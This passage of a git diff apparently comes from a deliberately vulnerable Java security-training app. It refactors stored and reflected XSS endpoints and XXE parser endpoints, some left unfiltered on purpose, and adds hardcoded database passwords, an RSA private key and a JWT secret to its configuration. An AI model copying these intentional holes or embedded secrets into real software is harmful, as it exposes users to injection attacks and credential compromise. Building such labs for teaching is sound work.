StringUtils.replace(payload, "&", "&"); + payload = StringUtils.replace(payload, "<", "<"); + payload = StringUtils.replace(payload, ">", ">"); + payload = StringUtils.replace(payload, "\"", """); + payload = StringUtils.replace(payload, "'", "'"); + payload = StringUtils.replace(payload, "/", "/"); + filterContented = payload; + log.info("[-]XSS-反射性-内容安全策略-CSP防护-原生实体转移:" + payload); break; case "spring": - filterContented = HtmlUtils.htmlEscape(content); + filterContented = HtmlUtils.htmlEscape(payload); + log.info("[-]XSS-反射性-内容安全策略-CSP防护-Spring框架:" + payload); break; default: return R.error("参数输入有误!"); @@ -181,10 +183,10 @@ public R safe3EntityEscape(@ApiParam(name = "type", value = "类型", required = } @ApiOperation(value = "安全代码:HttpOnly配置", notes = "HttpOnly是HTTP响应头属性,用于增强Web应用程序安全性。它防止客户端脚本访问(只能通过http/https协议访问)带有HttpOnly标记的 cookie,从而减少跨站点脚本攻击(XSS)的风险。") - @RequestMapping(value = "/safe4HttpOnly", method = RequestMethod.GET) + @RequestMapping(value = "/safe4", method = RequestMethod.GET) @ResponseBody - @ApiImplicitParam(name = "content", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class) - public R safe4HttpOnly(@ApiParam(name = "content", value = "请求参数", required = true) String content, HttpServletRequest request,HttpServletResponse response) { + @ApiImplicitParam(name = "payload", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class) + public R safe4(@ApiParam(name = "payload", value = "请求参数", required = true) String payload, HttpServletRequest request, HttpServletResponse response) { Cookie cookie = request.getCookies()[0]; cookie.setHttpOnly(true); // 设置为 HttpOnly @@ -192,6 +194,6 @@ public R safe4HttpOnly(@ApiParam(name = "content", value = "请求参数", requi cookie.setPath("/"); response.addCookie(cookie); - return R.ok("已设置httponly(有效期10分钟),请打开控制台查看cookie属性:"+content); + return R.ok("已设置httponly(有效期10分钟),请打开控制台查看cookie属性:" + payload); } } diff --git a/src/main/java/top/whgojp/modules/xss/controller/StoreController.java b/src/main/java/top/whgojp/modules/xss/controller/StoreController.java index 036c54c..a4ecf20 100644 --- a/src/main/java/top/whgojp/modules/xss/controller/StoreController.java +++ b/src/main/java/top/whgojp/modules/xss/controller/StoreController.java @@ -45,14 +45,14 @@ public String xssStore() { return "vul/xss/store"; } - @ApiOperation(value = "漏洞环境:原生无过滤", notes = "原生漏洞环境,未加任何过滤,将用户输入存储到数据库中") - @RequestMapping("/vul1StoreRaw") + @ApiOperation(value = "漏洞场景:原生无过滤", notes = "原生漏洞场景,未加任何过滤,将用户输入存储到数据库中") + @PostMapping("/vul") @ResponseBody - @ApiImplicitParam(name = "content", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class) - public R vul1StoreRaw(@ApiParam(name = "content", value = "请求参数", required = true) @RequestParam String content,HttpServletRequest request) { - log.info("存储型XSS:" + content); + @ApiImplicitParam(name = "payload", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class) + public R vul(@ApiParam(name = "payload", value = "请求参数", required = true) @RequestParam String payload,HttpServletRequest request) { + log.info("[+]XSS-存储性-原生无过滤:" + payload); String ua = request.getHeader("User-Agent"); - final int code = xssService.insertOne(content,ua); + final int code = xssService.insertOne(payload,ua); if (code == 1) { log.info("插入数据成功!"); return R.ok("插入数据成功!"); diff --git a/src/main/java/top/whgojp/modules/xss/controller/base/XssBaseController.java b/src/main/java/top/whgojp/modules/xss/controller/base/XssBaseController.java new file mode 100644 index 0000000..4ad2018 --- /dev/null +++ b/src/main/java/top/whgojp/modules/xss/controller/base/XssBaseController.java @@ -0,0 +1,41 @@ +package top.whgojp.modules.xss.controller.base; + +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.thymeleaf.util.StringUtils; +import top.whgojp.common.utils.CheckUserInput; +import top.whgojp.common.utils.R; + +import javax.servlet.http.HttpServletRequest; + +@Slf4j +public abstract class XssBaseController { + @Autowired + protected CheckUserInput checkUserInput; + + protected R handleXssPayload(String payload, String type, boolean enableFilter) { + if (StringUtils.isEmpty(payload)) { + return R.error("参数不能为空"); + } + + log.info("[+]XSS-{}-收到payload:{}", type, payload); + + if (enableFilter) { + String filteredPayload = checkUserInput.filter(payload); + log.info("[+]XSS-{}-过滤后:{}", type, filteredPayload); + return R.ok(filteredPayload); + } + + return R.ok(payload); + } + + protected String getUserAgent(HttpServletRequest request) { + String ua = request.getHeader("User-Agent"); + return StringUtils.isEmpty(ua) ? "unknown" : ua; + } + + protected boolean isValidView(String view) { + return !StringUtils.isEmpty(view) && + (view.equals("vul") || view.equals("safe")); + } +} diff --git a/src/main/java/top/whgojp/modules/xss/service/impl/XssServiceImpl.java b/src/main/java/top/whgojp/modules/xss/service/impl/XssServiceImpl.java index 034a024..164e309 100644 --- a/src/main/java/top/whgojp/modules/xss/service/impl/XssServiceImpl.java +++ b/src/main/java/top/whgojp/modules/xss/service/impl/XssServiceImpl.java @@ -8,7 +8,6 @@ import top.whgojp.modules.xss.service.XssService; import top.whgojp.modules.xss.mapper.XssMapper; import org.springframework.stereotype.Service; - import java.util.List; /** @@ -18,30 +17,42 @@ */ @Slf4j @Service -public class XssServiceImpl extends ServiceImpl - implements XssService{ +public class XssServiceImpl extends ServiceImpl implements XssService { @Autowired private XssMapper xssMapper; @Override public int insertOne(String content, String ua) { - final int code = xssMapper.insertAll(content,ua,DateUtil.now()); - return code; + try { + log.info("插入XSS记录 - content: {}, ua: {}", content, ua); + final int code = xssMapper.insertAll(content,ua,DateUtil.now()); + return code; + } catch (Exception e) { + log.error("插入XSS记录失败", e); + return 0; + } } @Override public List selectAll() { - List xssList = xssMapper.selectAll(); - return xssList; + try { + List xssList = xssMapper.selectAll(); + return xssList; + } catch (Exception e) { + log.error("查询XSS记录失败", e); + return null; + } } @Override public int deleteById(int id) { - int i = xssMapper.deleteById(id); - return i; + try { + log.info("删除XSS记录 - id: {}", id); + int i = xssMapper.deleteById(id); + return i; + } catch (Exception e) { + log.error("删除XSS记录失败 - id: {}", id, e); + return 0; + } } } - - - - diff --git a/src/main/java/top/whgojp/modules/xxe/controller/XXEController.java b/src/main/java/top/whgojp/modules/xxe/controller/XXEController.java index e3e9dfc..8c175bd 100644 --- a/src/main/java/top/whgojp/modules/xxe/controller/XXEController.java +++ b/src/main/java/top/whgojp/modules/xxe/controller/XXEController.java @@ -47,9 +47,9 @@ public String xxeVul() { public String xxeSafe() { return "vul/xxe/xxe-safe"; } - @RequestMapping(value = "/vulXMLReader") + @RequestMapping(value = "/vul1") @ResponseBody - public String vulXMLReader(@RequestParam String payload) { + public String vul1(@RequestParam String payload) { try { XMLReader xmlReader = XMLReaderFactory.createXMLReader(); StringWriter stringWriter = new StringWriter(); @@ -75,9 +75,9 @@ public void characters(char[] ch, int start, int length) { /** * javax.xml.parsers.SAXParser 是 XMLReader 的替代品,它提供了更多的安全措施,例如默认禁用 DTD 和外部实体的声明,如果需要使用 DTD 或外部实体,可以手动启用它们,并使用相应的安全措施 */ - @RequestMapping(value = "/vulSAXParser") + @RequestMapping(value = "/vul2") @ResponseBody - public String vulSAXParser(@RequestParam String payload) { + public String vul2(@RequestParam String payload) { try { SAXParserFactory factory = SAXParserFactory.newInstance(); SAXParser parser = factory.newSAXParser(); @@ -206,9 +206,9 @@ public void characters(char[] ch, int start, int length) { // } - @RequestMapping(value = "/safeXMLReader") + @RequestMapping(value = "/safe1") @ResponseBody - public String safeXMLReader(@RequestParam String payload) { + public String safe1(@RequestParam String payload) { try { XMLReader xmlReader = XMLReaderFactory.createXMLReader(); // 禁用外部实体引用,防止XXE攻击 @@ -234,9 +234,9 @@ public void characters(char[] ch, int start, int length) { } } - @RequestMapping(value = "/safeBlackList") + @RequestMapping(value = "/safe2") @ResponseBody - public String safeBlackList(@RequestParam String payload) { + public String safe2(@RequestParam String payload) { String[] black_list = {"ENTITY", "DOCTYPE"}; for (String keyword : black_list) { if (payload.toUpperCase().contains(keyword)) { diff --git a/src/main/java/top/whgojp/security/SecurityConfigurer.java b/src/main/java/top/whgojp/security/SecurityConfigurer.java index 230f9bf..41dff18 100755 --- a/src/main/java/top/whgojp/security/SecurityConfigurer.java +++ b/src/main/java/top/whgojp/security/SecurityConfigurer.java @@ -3,6 +3,7 @@ import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; +import org.springframework.http.HttpStatus; import org.springframework.security.authentication.AuthenticationManager; import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder; import org.springframework.security.config.annotation.web.builders.HttpSecurity; @@ -12,6 +13,8 @@ import org.springframework.security.crypto.password.PasswordEncoder; import org.springframework.security.web.authentication.AuthenticationFailureHandler; import org.springframework.security.web.authentication.AuthenticationSuccessHandler; +import org.springframework.security.web.authentication.HttpStatusEntryPoint; +import org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter; import org.springframework.security.web.authentication.logout.LogoutSuccessHandler; import org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices; import org.springframework.web.cors.CorsConfiguration; @@ -20,7 +23,6 @@ import top.whgojp.common.config.AuthIgnoreConfig; import top.whgojp.common.constant.SysConstant; import top.whgojp.common.filter.ValidateCodeFilter; -import top.whgojp.common.push.service.EmailPush; import top.whgojp.security.detail.CustomUserDetailsService; import top.whgojp.security.handler.CustomLogoutSuccessHandler; import top.whgojp.security.handler.CustomSavedRequestAwareAuthenticationSuccessHandler; @@ -43,8 +45,6 @@ public class SecurityConfigurer extends WebSecurityConfigurerAdapter { @Autowired private CustomSessionInformationExpiredStrategy sessionInformationExpiredStrategy; - @Autowired - private EmailPush emailPush; @Bean @Override @@ -74,6 +74,7 @@ protected void configure(HttpSecurity http) throws Exception { permitAll.add(SysConstant.LOGIN_PROCESS); permitAll.add(SysConstant.LOGOUT_URL); permitAll.add(SysConstant.JWT_AUTH); + permitAll.add("/eureka/**"); permitAll.add("/file/**"); permitAll.add("/static/images/**"); permitAll.add("/static/lib/**"); @@ -102,14 +103,11 @@ protected void configure(HttpSecurity http) throws Exception { // 如果不需要验证码校验登录 可以注释掉该行 // http.addFilterBefore(validateCodeFilter, UsernamePasswordAuthenticationFilter.class); - // 如果不用验证码,注释这个过滤器即可 -// http.addFilterAt(usernamePasswordAuthenticationFilter(), UsernamePasswordAuthenticationFilter.class); - // 添加session管理器 session失效后跳到登录页 http.sessionManagement() .invalidSessionUrl(SysConstant.LOGIN_URL) - .maximumSessions(1) + .maximumSessions(10) .expiredSessionStrategy(sessionInformationExpiredStrategy); http.formLogin() @@ -118,6 +116,9 @@ protected void configure(HttpSecurity http) throws Exception { .successHandler(authenticationSuccessHandler()) .failureHandler(customSimpleUrlAuthenticationFailureHandler()); + // TODO: 2025/1/12 解决登录就报错400状态码问题 GPT害死人啊 注释后就没问题了 + // 设置自定义的未认证用户访问受保护资源时的响应行为,并在用户未通过认证时返回 HTTP 状态码 400 BAD_REQUEST +// http.exceptionHandling().authenticationEntryPoint(new HttpStatusEntryPoint(HttpStatus.BAD_REQUEST)); http.logout() .logoutSuccessHandler(customLogoutSuccessHandler()) @@ -153,7 +154,7 @@ public PasswordEncoder passwordEncoder() { public AuthenticationSuccessHandler authenticationSuccessHandler() { CustomSavedRequestAwareAuthenticationSuccessHandler customSavedRequestAwareAuthenticationSuccessHandler = new CustomSavedRequestAwareAuthenticationSuccessHandler(); customSavedRequestAwareAuthenticationSuccessHandler.setDefaultTargetUrl("/index"); - customSavedRequestAwareAuthenticationSuccessHandler.setEmailPush(emailPush); +// customSavedRequestAwareAuthenticationSuccessHandler.setEmailPush(emailPush); // customSavedRequestAwareAuthenticationSuccessHandler.setSmsService(smsService); // customSavedRequestAwareAuthenticationSuccessHandler.setWeChatService(wechatService); return customSavedRequestAwareAuthenticationSuccessHandler; @@ -168,7 +169,7 @@ public AuthenticationSuccessHandler authenticationSuccessHandler() { public LogoutSuccessHandler customLogoutSuccessHandler() { CustomLogoutSuccessHandler customLogoutSuccessHandler = new CustomLogoutSuccessHandler(); customLogoutSuccessHandler.setDefaultTargetUrl(SysConstant.LOGIN_URL); - customLogoutSuccessHandler.setEmailPush(emailPush); +// customLogoutSuccessHandler.setEmailPush(emailPush); return customLogoutSuccessHandler; } @@ -176,7 +177,7 @@ public LogoutSuccessHandler customLogoutSuccessHandler() { public AuthenticationFailureHandler customSimpleUrlAuthenticationFailureHandler() { CustomSimpleUrlAuthenticationFailureHandler customSimpleUrlAuthenticationFailureHandler = new CustomSimpleUrlAuthenticationFailureHandler(); customSimpleUrlAuthenticationFailureHandler.setDefaultFailureUrl(SysConstant.LOGIN_URL); - customSimpleUrlAuthenticationFailureHandler.setEmailPush(emailPush); +// customSimpleUrlAuthenticationFailureHandler.setEmailPush(emailPush); return customSimpleUrlAuthenticationFailureHandler; } diff --git a/src/main/java/top/whgojp/security/handler/CustomLogoutSuccessHandler.java b/src/main/java/top/whgojp/security/handler/CustomLogoutSuccessHandler.java index f912df1..7619a19 100755 --- a/src/main/java/top/whgojp/security/handler/CustomLogoutSuccessHandler.java +++ b/src/main/java/top/whgojp/security/handler/CustomLogoutSuccessHandler.java @@ -5,7 +5,6 @@ import lombok.extern.slf4j.Slf4j; import org.springframework.security.core.Authentication; import org.springframework.security.web.authentication.logout.SimpleUrlLogoutSuccessHandler; -import top.whgojp.common.push.service.EmailPush; import javax.servlet.ServletException; import javax.servlet.http.HttpServletRequest; @@ -16,8 +15,6 @@ @Data @Slf4j public class CustomLogoutSuccessHandler extends SimpleUrlLogoutSuccessHandler { - private EmailPush emailPush; - @Override public void onLogoutSuccess(HttpServletRequest request, HttpServletResponse response, Authentication authentication) throws IOException, ServletException { super.onLogoutSuccess(request, response, authentication); diff --git a/src/main/java/top/whgojp/security/handler/CustomSavedRequestAwareAuthenticationSuccessHandler.java b/src/main/java/top/whgojp/security/handler/CustomSavedRequestAwareAuthenticationSuccessHandler.java index 8e7bcec..8d25257 100755 --- a/src/main/java/top/whgojp/security/handler/CustomSavedRequestAwareAuthenticationSuccessHandler.java +++ b/src/main/java/top/whgojp/security/handler/CustomSavedRequestAwareAuthenticationSuccessHandler.java @@ -6,9 +6,6 @@ import org.springframework.security.core.Authentication; import org.springframework.security.web.authentication.SavedRequestAwareAuthenticationSuccessHandler; import top.whgojp.common.event.LoginLogEvent; -import top.whgojp.common.push.service.EmailPush; -import top.whgojp.common.push.service.SmsPush; -import top.whgojp.common.push.service.WechatPush; import top.whgojp.common.utils.IPUtil; import top.whgojp.common.utils.SpringContextUtil; import top.whgojp.modules.system.entity.Log; @@ -23,11 +20,11 @@ @Slf4j public class CustomSavedRequestAwareAuthenticationSuccessHandler extends SavedRequestAwareAuthenticationSuccessHandler { - private EmailPush emailPush; - - private SmsPush smsPush; - - private WechatPush wechatPush; +// private EmailPush emailPush; +// +// private SmsPush smsPush; +// +// private WechatPush wechatPush; @Override public void onAuthenticationSuccess(HttpServletRequest request, HttpServletResponse response, Authentication authentication) throws ServletException, IOException { diff --git a/src/main/java/top/whgojp/security/handler/CustomSimpleUrlAuthenticationFailureHandler.java b/src/main/java/top/whgojp/security/handler/CustomSimpleUrlAuthenticationFailureHandler.java index 0b80fb8..0ac6635 100755 --- a/src/main/java/top/whgojp/security/handler/CustomSimpleUrlAuthenticationFailureHandler.java +++ b/src/main/java/top/whgojp/security/handler/CustomSimpleUrlAuthenticationFailureHandler.java @@ -13,7 +13,6 @@ import org.springframework.util.StringUtils; import top.whgojp.common.constant.SysConstant; import top.whgojp.common.enums.LoginError; -import top.whgojp.common.push.service.EmailPush; import javax.servlet.ServletException; import javax.servlet.http.HttpServletRequest; @@ -29,7 +28,6 @@ public class CustomSimpleUrlAuthenticationFailureHandler extends SimpleUrlAuthen private String defaultFailureUrl; - private EmailPush emailPush; @Override @@ -44,9 +42,6 @@ public void onAuthenticationFailure(HttpServletRequest request, HttpServletRespo log.info("IP:{} 于 {} 尝试登录系统失败 失败原因:{}", loginIp, loginDate, exception.getMessage()); try { - // 发邮件 - this.emailPush.send(); - } catch (Exception ex) { log.error(ex.getMessage(), ex); } diff --git a/src/main/resources/application-dev.yml b/src/main/resources/application-dev.yml index 999df61..a0c1ca4 100755 --- a/src/main/resources/application-dev.yml +++ b/src/main/resources/application-dev.yml @@ -1,43 +1,73 @@ spring: datasource: - type: com.zaxxer.hikari.HikariDataSource - driver-class-name: com.mysql.cj.jdbc.Driver - username: root - password: QWE123qwe - url: jdbc:mysql://localhost:13306/JavaSecLab?characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=false&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=GMT%2B8&nullCatalogMeansCurrent=true&allowPublicKeyRetrieval=true&allowMultiQueries=true - druid: - initial-size: 5 - min-idle: 5 - max-active: 20 - max-wait: 60000 - time-between-eviction-runs-millis: 60000 - min-evictable-idle-time-millis: 300000 - validation-query: SELECT 1 FROM DUAL - test-while-idle: true - test-on-borrow: false - test-on-return: false - pool-prepared-statements: true - max-pool-prepared-statement-per-connection-size: 20 - filters: stat,log4j # wall 这里关闭sql防火墙 - connection-properties: druid.stat.mergeSql=true;druid.stat.slowSqlMillis=5000 - remove-abandoned: true - remove-abandoned-timeout: 1800 - log-abandoned: true - web-stat-filter: - enabled: true - stat-view-servlet: - enabled: true - url-pattern: /druid/* - # login-username: admin - # login-password: admin - reset-enable: false - # 防火墙配置 -# wall: -# config: -# multi-statement-allow: false + primary: + type: com.alibaba.druid.pool.DruidDataSource + driver-class-name: com.mysql.cj.jdbc.Driver + url: jdbc:mysql://localhost:13306/JavaSecLab?characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=false&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=GMT%2B8&nullCatalogMeansCurrent=true&allowPublicKeyRetrieval=true&allowMultiQueries=true + username: root + password: QWE123qwe + druid: + initial-size: 5 + min-idle: 5 + max-active: 20 + max-wait: 30000 + validation-query: SELECT 1 FROM DUAL + test-while-idle: true + time-between-eviction-runs-millis: 60000 + min-evictable-idle-time-millis: 300000 + pool-prepared-statements: true + max-pool-prepared-statement-per-connection-size: 20 + log-abandoned: true + remove-abandoned: true + secondary: + type: com.alibaba.druid.pool.DruidDataSource + driver-class-name: com.mysql.cj.jdbc.Driver + url: jdbc:mysql://localhost:13306/JavaSecLab?characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=false&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=GMT%2B8&nullCatalogMeansCurrent=true&allowPublicKeyRetrieval=true&allowMultiQueries=true + username: root + password: QWE123qwe + druid: + initial-size: 5 + min-idle: 5 + max-active: 20 + max-wait: 30000 + validation-query: SELECT 1 FROM DUAL + test-while-idle: true + time-between-eviction-runs-millis: 60000 + min-evictable-idle-time-millis: 300000 + pool-prepared-statements: true + max-pool-prepared-statement-per-connection-size: 20 + log-abandoned: true + remove-abandoned: true -# Hibernate 配置:将当前上下文策略设置为 Spring -# jpa: -# properties: -# hibernate: -# current_session_context_class: thread \ No newline at end of file + jpa: + database-platform: org.hibernate.dialect.MySQLDialect + show-sql: true + hibernate: + ddl-auto: update + properties: + hibernate: + format_sql: true + session_factory_name: sessionFactory + session_factory_name_is_jndi: false + current_session_context_class: thread + transaction: + auto_close_session: true + connection: + provider_disables_autocommit: true + generate_statistics: true + jdbc: + time_zone: UTC + session: + events: + log: + LOG_QUERIES_SLOWER_THAN_MS: 0 + flush_mode: AUTO + default_schema: JavaSecLab + default_catalog: JavaSecLab + +logging: + level: + root: INFO # 默认日志级别 + com.alibaba.druid.pool: DEBUG # 启用 Druid 的 DEBUG 日志(排查数据库连接池问题时启用) + org.hibernate.SQL: DEBUG # 启用 Hibernate SQL 日志 + org.hibernate.type.descriptor.sql.BasicBinder: TRACE # 启用 Hibernate 参数绑定日志 \ No newline at end of file diff --git a/src/main/resources/application-docker.yml b/src/main/resources/application-docker.yml index c0151f3..f7b4556 100755 --- a/src/main/resources/application-docker.yml +++ b/src/main/resources/application-docker.yml @@ -1,45 +1,73 @@ spring: datasource: - type: com.zaxxer.hikari.HikariDataSource - driver-class-name: com.mysql.cj.jdbc.Driver - username: root - password: QWE123qwe - url: jdbc:mysql://Container-MYSQL8:3306/JavaSecLab?characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=false&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=GMT%2B8&nullCatalogMeansCurrent=true&allowPublicKeyRetrieval=true&allowMultiQueries=true -# url: jdbc:mysql://47.94.130.42:3306/JavaSecLab?characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=false&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=GMT%2B8&nullCatalogMeansCurrent=true&allowPublicKeyRetrieval=true&allowMultiQueries=true - druid: - initial-size: 5 - min-idle: 5 - max-active: 20 - max-wait: 60000 - time-between-eviction-runs-millis: 60000 - min-evictable-idle-time-millis: 300000 - validation-query: SELECT 1 FROM DUAL - test-while-idle: true - test-on-borrow: false - test-on-return: false - pool-prepared-statements: true - max-pool-prepared-statement-per-connection-size: 20 - filters: stat,log4j # wall 这里关闭sql防火墙 - connection-properties: druid.stat.mergeSql=true;druid.stat.slowSqlMillis=5000 - remove-abandoned: true - remove-abandoned-timeout: 1800 - log-abandoned: true - web-stat-filter: - enabled: true - stat-view-servlet: - enabled: true - url-pattern: /druid/* - # login-username: admin - # login-password: admin - reset-enable: false - # 防火墙配置 - # wall: - # config: - # multi-statement-allow: false + primary: + type: com.alibaba.druid.pool.DruidDataSource + driver-class-name: com.mysql.cj.jdbc.Driver + url: jdbc:mysql://mysql:3306/JavaSecLab?characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=false&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=GMT%2B8&nullCatalogMeansCurrent=true&allowPublicKeyRetrieval=true&allowMultiQueries=true + username: root + password: QWE123qwe + druid: + initial-size: 5 + min-idle: 5 + max-active: 20 + max-wait: 30000 + validation-query: SELECT 1 FROM DUAL + test-while-idle: true + time-between-eviction-runs-millis: 60000 + min-evictable-idle-time-millis: 300000 + pool-prepared-statements: true + max-pool-prepared-statement-per-connection-size: 20 + log-abandoned: true + remove-abandoned: true + secondary: + type: com.alibaba.druid.pool.DruidDataSource + driver-class-name: com.mysql.cj.jdbc.Driver + url: jdbc:mysql://mysql:3306/JavaSecLab?characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=false&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=GMT%2B8&nullCatalogMeansCurrent=true&allowPublicKeyRetrieval=true&allowMultiQueries=true + username: root + password: QWE123qwe + druid: + initial-size: 5 + min-idle: 5 + max-active: 20 + max-wait: 30000 + validation-query: SELECT 1 FROM DUAL + test-while-idle: true + time-between-eviction-runs-millis: 60000 + min-evictable-idle-time-millis: 300000 + pool-prepared-statements: true + max-pool-prepared-statement-per-connection-size: 20 + log-abandoned: true + remove-abandoned: true jpa: - hibernate: - ddl-auto: none - database: mysql database-platform: org.hibernate.dialect.MySQLDialect - show-sql: true \ No newline at end of file + show-sql: true + hibernate: + ddl-auto: update + properties: + hibernate: + format_sql: true + session_factory_name: sessionFactory + session_factory_name_is_jndi: false + current_session_context_class: thread + transaction: + auto_close_session: true + connection: + provider_disables_autocommit: true + generate_statistics: true + jdbc: + time_zone: UTC + session: + events: + log: + LOG_QUERIES_SLOWER_THAN_MS: 0 + flush_mode: AUTO + default_schema: JavaSecLab + default_catalog: JavaSecLab + +logging: + level: + root: INFO # 默认日志级别 + com.alibaba.druid.pool: DEBUG # 启用 Druid 的 DEBUG 日志(排查数据库连接池问题时启用) + org.hibernate.SQL: DEBUG # 启用 Hibernate SQL 日志 + org.hibernate.type.descriptor.sql.BasicBinder: TRACE # 启用 Hibernate 参数绑定日志 \ No newline at end of file diff --git a/src/main/resources/application.yml b/src/main/resources/application.yml index 1c07fe4..facdf93 100755 --- a/src/main/resources/application.yml +++ b/src/main/resources/application.yml @@ -1,13 +1,12 @@ -# Tomcat server: port: 80 -# servlet: -# context-path: /javaseclab spring: # 环境 dev|docker profiles: - active: dev + active: docker + main: + allow-bean-definition-overriding: true thymeleaf: mode: LEGACYHTML5 #模板类型 cache: false #缓存 @@ -16,10 +15,7 @@ spring: suffix: .html mvc: pathmatch: - matching-strategy: ant_path_matcher #解决swaggerUI不匹配接口 -# view: # 设置JSP视图的前缀和后缀 -# prefix: /WEB-INF/jsp/ -# suffix: .jsp + matching-strategy: ANT_PATH_MATCHER #解决swaggerUI不匹配接口 swagger: enable: true @@ -44,6 +40,7 @@ management: web: exposure: include: '*' + exclude: base-path: /sys/actuator logging: @@ -52,11 +49,55 @@ logging: # mybaits-plus配置 mybatis-plus: configuration: + map-underscore-to-camel-case: true log-impl: org.apache.ibatis.logging.stdout.StdOutImpl # MyBatis Mapper所对应的XML文件位置 - mapper-locations: /mapper/**/*Mapper.xml + mapper-locations: classpath*:/mapper/**/*.xml global-config: # 关闭MP3.0自带的banner banner: false + db-config: + logic-delete-field: deleted + logic-delete-value: 1 + logic-not-delete-value: 0 + type-aliases-package: top.whgojp.modules.*.entity -upload-path: ./upload \ No newline at end of file +folder: + upload: /tmp/upload + static: /tmp/static + +rsa: + private: + key: "-----BEGIN PRIVATE KEY----- +MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDtttbAHKH8paAM +bVChMxlQ900ZDIamD4k00Y0aSzIF03dXFkO3+1oFKYj3DDwa68G0XGOJOoRkpfYK +LZdD45/2D32vcCb2tLzh9jFM79KG4+r+eflkQAMmCBAq5HZZG/Q9EsEfYgJ+YEvc +57yKPH5NQnvsyl6909nvNzB07sbPJ6J5bsXkyUS4Smo1qPCQ6KhBmh2WREGFa1e0 +kb8w9RpySlOz81qn9gJoJZCn+DM+cK7tg24k0ZKMM1Awekr+1P5TA9Q9VGSYHBJd +LMPVNKnSxrNLV0nlmBGX0uBkClxJCkycSyjubB4mlGULUuYIRRr+Cndj3jyJpuHm +GKKD+4ujAgMBAAECggEASFW/YmU0G6OwoKdxBiR8+yjNsqYfoQ+QMlzjwZEJL0Gq +insRbz5Spch+T6LO9WgxIPeOKFeAqvnfdThrU7LD3cXX+pc3nBHieiYG2YEOwJJB +U199draN3rhMZyjvJG1/tEftMWYLGTanTxjLRAtlaZAmEqeADeaV5heWrLZuE+HH +CaKbo7isy39vyqfGRa4ROe66N1pug8EHH7fPDqM4k8zMsLau80o6dc6HEKI0RB/H +HXbdaomXhuMuEkuifrwnyLPyVrw4LPkPlLi4BIWJBYVYXjosV0kTCg5HSWbITQ0J +jB48C3rM2SQuBrCiYu5tpluOx6Tsy5KrvKC04kRvGQKBgQD4PpQA49nweGQViMo8 +rRSTPvh6R3S9xglvrOWrDpMZAOKTKsFx1GgoJOYIbCWYo+L42hyVWL/pxWbq1lvf +6UqPCoUqjP5U9TK5A2J8zJAo8erw3h5F/Bpz+DASluy0+3KhRJ5qrRAomhcZOtX+ +5gl19r2hY2KjdSSEPA2Qr0JEWQKBgQD1JAqg4FnMVi5/Apz6idgC6QW5scMSKgzY +G+q2ehgGFvVA4Q8MezIFRBA/wsev+rh+WqWWuhJQKeWM49flIFQIGhlnoLTc3s/Z +CtBLf3d73WTpEJdQdyqR0YDVQ3pGj1UTm7aS/Fs+FaAw7d6Y32gL5LVb0vQ/FKGy +YKfGqi9AWwKBgHJUJ8fNKGdmmvmL+VA+ilZSTw/J7wsjtN7Y6yF/4eFHFhKfQ15Q +a/PpIoRIgnwtJnBjy3xA1oosnvyS4tdZ0zvTpYb2ToAEOWsaEvbVI6On3wM12Q10 +UR6N9F3rYnLrx1xchPUuZV29sdutzDbL7RmGHMnCQwBzB/Fa0wiKnuNpAoGBAN8s +QMDVfusYSpw2tNMiSxXbLusveng+8BKO18/ot5ZTsFOwkRK71X4VyPVDTqhXiT7/ +J2FhZOq2OdVaWGKwW9BEcnx1QjMSZgciYR9anFyX4haMlDUdSBQYt0FwfRFfzARd +7olCVY7gAUaKR+zE9uRdAv7lvpbvIYZTmGq05O+hAoGAQdrN2pk4P7l/hax5F7yo +hGUahXhPvN1OkI+772dFhjpQYxf02oKrdW/pNrTAoYyE9tCUUeZngUZ6SkN+TlJa +ouK1o4xnmMD2YhHhzmxyn8wlLB8KopMzCQ8WaooivlJbyXQVp6bq9UFaeQW0NtIB +tzMFGyiO+DvR4pO52uQLEBU= +-----END PRIVATE KEY-----" + +jwt: + key: f3a4c6d5b9bfeff28b1f529b0840134bcd4183474e2d4a97c05615a134e4f4da + +#debug: true \ No newline at end of file diff --git a/src/main/resources/banner.txt b/src/main/resources/banner.txt index cf6c02b..79d4bf5 100755 --- a/src/main/resources/banner.txt +++ b/src/main/resources/banner.txt @@ -1,5 +1,8 @@ ==================================================================================================================== - - Powered By whgojp + __ _____ __ __ + / /___ __ ______ _/ ___/___ _____/ / ____ _/ /_ + __ / / __ `/ | / / __ `/\__ \/ _ \/ ___/ / / __ `/ __ \ + / /_/ / /_/ /| |/ / /_/ /___/ / __/ /__/ /___/ /_/ / /_/ / + \____/\__,_/ |___/\__,_//____/\___/\___/_____/\__,_/_.___/ ==================================================================================================================== \ No newline at end of file diff --git a/src/main/resources/mapper/LogMapper.xml b/src/main/resources/mapper/LogMapper.xml deleted file mode 100644 index 165a1b1..0000000 --- a/src/main/resources/mapper/LogMapper.xml +++ /dev/null @@ -1,20 +0,0 @@ - - - - - - - - - - - - - - - logId,username,optionName, - optionTerminal,optionIp,optionTime - - diff --git a/src/main/resources/mapper/UserMapper.xml b/src/main/resources/mapper/UserMapper.xml index 